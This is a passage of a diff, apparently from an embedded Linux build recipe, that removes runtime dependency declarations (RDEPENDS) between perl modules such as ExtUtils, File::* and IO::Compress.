-RDEPENDS_perl-module-extutils-command-mm += "perl-module-getopt-long"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-strict"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-test-harness"
-RDEPENDS_perl-module-extutils-command-mm += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-command += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-command += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-command += "perl-module-strict"
-RDEPENDS_perl-module-extutils-command += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-constant"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-text-wrap"
-RDEPENDS_perl-module-extutils-constant-base += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-proxysubs"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant += "perl-module-extutils-constant-xs"
-RDEPENDS_perl-module-extutils-constant += "perl-module-filehandle"
-RDEPENDS_perl-module-extutils-constant += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-extutils-constant-xs"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-proxysubs += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-constant"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-posix"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-utils += "perl-module-vars"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant-base"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-extutils-constant-utils"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-constant-xs += "perl-module-vars"
-RDEPENDS_perl-module-extutils-embed += "perl-module-config"
-RDEPENDS_perl-module-extutils-embed += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-embed += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-embed += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-embed += "perl-module-getopt-std"
-RDEPENDS_perl-module-extutils-embed += "perl-module-strict"
-RDEPENDS_perl-module-extutils-installed += "perl-module-config"
-RDEPENDS_perl-module-extutils-installed += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-installed += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-installed += "perl-module-extutils-packlist"
-RDEPENDS_perl-module-extutils-installed += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-installed += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-installed += "perl-module-strict"
-RDEPENDS_perl-module-extutils-installed += "perl-module-vars"
-RDEPENDS_perl-module-extutils-install += "perl-module-autosplit"
-RDEPENDS_perl-module-extutils-install += "perl-module-config"
-RDEPENDS_perl-module-extutils-install += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-install += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-install += "perl-module-extutils-packlist"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-compare"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-install += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-install += "perl-module-strict"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-strict"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-text-parsewords"
-RDEPENDS_perl-module-extutils-liblist-kid += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-liblist += "perl-module-extutils-liblist-kid"
-RDEPENDS_perl-module-extutils-liblist += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-config += "perl-module-config"
-RDEPENDS_perl-module-extutils-makemaker-config += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-base"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-encode"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-encode-alias"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-i18n-langinfo"
-RDEPENDS_perl-module-extutils-makemaker-locale += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-b"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-cpan"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-makemaker-version"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-manifest"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-mm"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-extutils-my"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker += "perl-module-version"
-RDEPENDS_perl-module-extutils-makemaker-version += "perl-module-strict"
-RDEPENDS_perl-module-extutils-makemaker-version += "perl-module-vars"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-config"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-copy"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-file-path"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-strict"
-RDEPENDS_perl-module-extutils-manifest += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-extutils-embed"
-RDEPENDS_perl-module-extutils-miniperl += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-config"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-dynaloader"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mkbootstrap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-config"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mksymlists += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-aix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-autosplit"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-cpan"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-data-dumper"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-any += "perl-module-version"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-beos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-cygwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-darwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-darwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-dos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-macos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-nw5 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-os2 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-qnx += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-qnx += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-encode"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-liblist"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-vars"
-RDEPENDS_perl-module-extutils-mm-unix += "perl-module-version"
-RDEPENDS_perl-module-extutils-mm-uwin += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-uwin += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-liblist-kid"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-file-find"
-RDEPENDS_perl-module-extutils-mm-vms += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-vos += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-vos += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-mm-any"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-extutils-mm-unix"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-mm-win32 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-extutils-makemaker-config"
-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-extutils-mm-win32"
-RDEPENDS_perl-module-extutils-mm-win95 += "perl-module-strict"
-RDEPENDS_perl-module-extutils-my += "perl-module-extutils-mm"
-RDEPENDS_perl-module-extutils-my += "perl-module-strict"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-config"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-strict"
-RDEPENDS_perl-module-extutils-packlist += "perl-module-vars"
-RDEPENDS_perl-module-extutils-parsexs-constants += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-constants += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-parsexs-countlines += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-eval += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-eval += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-config"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-countlines"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-eval"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-extutils-parsexs-utilities"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-file-basename"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-re"
-RDEPENDS_perl-module-extutils-parsexs += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-strict"
-RDEPENDS_perl-module-extutils-parsexs-utilities += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-cwd"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-lib"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-strict"
-RDEPENDS_perl-module-extutils-testlib += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-exporter"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-cmd += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-inputmap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-inputmap += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-re"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-outputmap += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-parsexs"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-parsexs-constants"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-inputmap"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-outputmap"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-extutils-typemaps-type"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps += "perl-module-warnings"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-extutils-typemaps"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-strict"
-RDEPENDS_perl-module-extutils-typemaps-type += "perl-module-warnings"
-RDEPENDS_perl-module-fatal += "perl-module-autodie"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-exception-system"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-hints"
-RDEPENDS_perl-module-fatal += "perl-module-autodie-util"
-RDEPENDS_perl-module-fatal += "perl-module-config"
-RDEPENDS_perl-module-fatal += "perl-module-constant"
-RDEPENDS_perl-module-fatal += "perl-module-fcntl"
-RDEPENDS_perl-module-fatal += "perl-module-posix"
-RDEPENDS_perl-module-fatal += "perl-module-strict"
-RDEPENDS_perl-module-fatal += "perl-module-tie-refhash"
-RDEPENDS_perl-module-fatal += "perl-module-warnings"
-RDEPENDS_perl-module-fcntl += "perl-module-exporter"
-RDEPENDS_perl-module-fcntl += "perl-module-strict"
-RDEPENDS_perl-module-fcntl += "perl-module-xsloader"
-RDEPENDS_perl-module-fields += "perl-module-base"
-RDEPENDS_perl-module-fields += "perl-module-hash-util"
-RDEPENDS_perl-module-fields += "perl-module-strict"
-RDEPENDS_perl-module-file-basename += "perl-module-exporter"
-RDEPENDS_perl-module-file-basename += "perl-module-re"
-RDEPENDS_perl-module-file-basename += "perl-module-strict"
-RDEPENDS_perl-module-file-basename += "perl-module-warnings"
-RDEPENDS_perl-module-filecache += "perl-module-parent"
-RDEPENDS_perl-module-filecache += "perl-module-strict"
-RDEPENDS_perl-module-file-compare += "perl-module-exporter"
-RDEPENDS_perl-module-file-compare += "perl-module-strict"
-RDEPENDS_perl-module-file-compare += "perl-module-warnings"
-RDEPENDS_perl-module-file-copy += "perl-module-config"
-RDEPENDS_perl-module-file-copy += "perl-module-exporter"
-RDEPENDS_perl-module-file-copy += "perl-module-file-basename"
-RDEPENDS_perl-module-file-copy += "perl-module-strict"
-RDEPENDS_perl-module-file-copy += "perl-module-warnings"
-RDEPENDS_perl-module-file-dosglob += "perl-module-strict"
-RDEPENDS_perl-module-file-dosglob += "perl-module-text-parsewords"
-RDEPENDS_perl-module-file-dosglob += "perl-module-warnings"
-RDEPENDS_perl-module-file-dosglob += "perl-module-xsloader"
-RDEPENDS_perl-module-file-fetch += "perl-module-constant"
-RDEPENDS_perl-module-file-fetch += "perl-module-cwd"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-basename"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-copy"
-RDEPENDS_perl-module-file-fetch += "perl-module-filehandle"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-path"
-RDEPENDS_perl-module-file-fetch += "perl-module-file-temp"
-RDEPENDS_perl-module-file-fetch += "perl-module-ipc-cmd"
-RDEPENDS_perl-module-file-fetch += "perl-module-locale-maketext-simple"
-RDEPENDS_perl-module-file-fetch += "perl-module-load"
-RDEPENDS_perl-module-file-fetch += "perl-module-params-check"
-RDEPENDS_perl-module-file-fetch += "perl-module-strict"
-RDEPENDS_perl-module-file-fetch += "perl-module-vars"
-RDEPENDS_perl-module-file-find += "perl-module-config"
-RDEPENDS_perl-module-file-find += "perl-module-cwd"
-RDEPENDS_perl-module-file-find += "perl-module-exporter"
-RDEPENDS_perl-module-file-find += "perl-module-file-basename"
-RDEPENDS_perl-module-file-find += "perl-module-strict"
-RDEPENDS_perl-module-file-find += "perl-module-warnings"
-RDEPENDS_perl-module-file-find += "perl-module-warnings-register"
-RDEPENDS_perl-module-file-globmapper += "perl-module-file-glob"
-RDEPENDS_perl-module-file-globmapper += "perl-module-strict"
-RDEPENDS_perl-module-file-globmapper += "perl-module-warnings"
-RDEPENDS_perl-module-file-glob += "perl-module-exporter"
-RDEPENDS_perl-module-file-glob += "perl-module-strict"
-RDEPENDS_perl-module-file-glob += "perl-module-warnings"
-RDEPENDS_perl-module-file-glob += "perl-module-xsloader"
-RDEPENDS_perl-module-filehandle += "perl-module-exporter"
-RDEPENDS_perl-module-filehandle += "perl-module-fcntl"
-RDEPENDS_perl-module-filehandle += "perl-module-io-file"
-RDEPENDS_perl-module-filehandle += "perl-module-strict"
-RDEPENDS_perl-module-file-path += "perl-module-cwd"
-RDEPENDS_perl-module-file-path += "perl-module-exporter"
-RDEPENDS_perl-module-file-path += "perl-module-file-basename"
-RDEPENDS_perl-module-file-path += "perl-module-strict"
-RDEPENDS_perl-module-file-path += "perl-module-vars"
-RDEPENDS_perl-module-file-spec += "perl-module-constant"
-RDEPENDS_perl-module-file-spec += "perl-module-cwd"
-RDEPENDS_perl-module-file-spec += "perl-module-strict"
-RDEPENDS_perl-module-file-spec += "perl-module-file-spec-unix"
-RDEPENDS_perl-module-file-stat += "perl-module-class-struct"
-RDEPENDS_perl-module-file-stat += "perl-module-constant"
-RDEPENDS_perl-module-file-stat += "perl-module-exporter"
-RDEPENDS_perl-module-file-stat += "perl-module-fcntl"
-RDEPENDS_perl-module-file-stat += "perl-module-overload "
-RDEPENDS_perl-module-file-stat += "perl-module-strict"
-RDEPENDS_perl-module-file-stat += "perl-module-warnings"
-RDEPENDS_perl-module-file-stat += "perl-module-warnings-register"
-RDEPENDS_perl-module-file-temp += "perl-module-carp"
-RDEPENDS_perl-module-file-temp += "perl-module-constant"
-RDEPENDS_perl-module-file-temp += "perl-module-cwd"
-RDEPENDS_perl-module-file-temp += "perl-module-errno"
-RDEPENDS_perl-module-file-temp += "perl-module-exporter"
-RDEPENDS_perl-module-file-temp += "perl-module-fcntl"
-RDEPENDS_perl-module-file-temp += "perl-module-file-path"
-RDEPENDS_perl-module-file-temp += "perl-module-file-spec"
-RDEPENDS_perl-module-file-temp += "perl-module-io-seekable"
-RDEPENDS_perl-module-file-temp += "perl-module-overload"
-RDEPENDS_perl-module-file-temp += "perl-module-parent"
-RDEPENDS_perl-module-file-temp += "perl-module-posix"
-RDEPENDS_perl-module-file-temp += "perl-module-scalar-util"
-RDEPENDS_perl-module-file-temp += "perl-module-strict"
-RDEPENDS_perl-module-file-temp += "perl-module-vars"
-RDEPENDS_perl-module-filter-simple += "perl-module-filter-util-call"
-RDEPENDS_perl-module-filter-simple += "perl-module-text-balanced"
-RDEPENDS_perl-module-filter-util-call += "perl-module-exporter"
-RDEPENDS_perl-module-filter-util-call += "perl-module-strict"
-RDEPENDS_perl-module-filter-util-call += "perl-module-warnings"
-RDEPENDS_perl-module-filter-util-call += "perl-module-xsloader"
-RDEPENDS_perl-module-findbin += "perl-module-cwd"
-RDEPENDS_perl-module-findbin += "perl-module-exporter"
-RDEPENDS_perl-module-findbin += "perl-module-file-basename"
-RDEPENDS_perl-module-getopt-long += "perl-module-constant"
-RDEPENDS_perl-module-getopt-long += "perl-module-exporter"
-RDEPENDS_perl-module-getopt-long += "perl-module-overload"
-RDEPENDS_perl-module-getopt-long += "perl-module-pod-usage"
-RDEPENDS_perl-module-getopt-long += "perl-module-strict"
-RDEPENDS_perl-module-getopt-long += "perl-module-text-parsewords"
-RDEPENDS_perl-module-getopt-long += "perl-module-vars"
-RDEPENDS_perl-module-getopt-long += "perl-module-warnings"
-RDEPENDS_perl-module-getopt-std += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-strict"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-warnings"
-RDEPENDS_perl-module-hash-util-fieldhash += "perl-module-xsloader"
-RDEPENDS_perl-module-hash-util += "perl-module-exporter"
-RDEPENDS_perl-module-hash-util += "perl-module-hash-util-fieldhash"
-RDEPENDS_perl-module-hash-util += "perl-module-strict"
-RDEPENDS_perl-module-hash-util += "perl-module-warnings"
-RDEPENDS_perl-module-hash-util += "perl-module-warnings-register"
-RDEPENDS_perl-module-hash-util += "perl-module-xsloader"
-RDEPENDS_perl-module-i18n-collate += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-collate += "perl-module-overload"
-RDEPENDS_perl-module-i18n-collate += "perl-module-posix"
-RDEPENDS_perl-module-i18n-collate += "perl-module-strict"
-RDEPENDS_perl-module-i18n-collate += "perl-module-warnings-register"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-warnings"
-RDEPENDS_perl-module-i18n-langinfo += "perl-module-xsloader"
-RDEPENDS_perl-module-i18n-langtags-detect += "perl-module-i18n-langtags"
-RDEPENDS_perl-module-i18n-langtags-detect += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langtags-list += "perl-module-strict"
-RDEPENDS_perl-module-i18n-langtags += "perl-module-exporter"
-RDEPENDS_perl-module-i18n-langtags += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-compress-raw-bzip2"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-bzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-deflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-adapter-identity += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-encode"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-file-globmapper"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-strict"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-utf8"
-RDEPENDS_perl-module-io-compress-base-common += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-file"
-RDEPENDS_perl-module-io-compress-base += "perl-module-io-handle "
-RDEPENDS_perl-module-io-compress-base += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-base += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-adapter-bzip2"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-base"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-bzip2 += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-io-compress-zlib-constants"
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-deflate += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-constant"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-exporter"
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-gzip-constants += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-exporter "
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-adapter-deflate"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-base-common"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-gzip-constants"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-rawdeflate"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-io-compress-zlib-extra"
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-strict "
-RDEPENDS_perl-module-io-compress-gzip += "perl-module-warnings"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-bytes"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-compress-raw-zlib"
-RDEPENDS_perl-module-io-compress-rawdeflate += "perl-module-exporter "
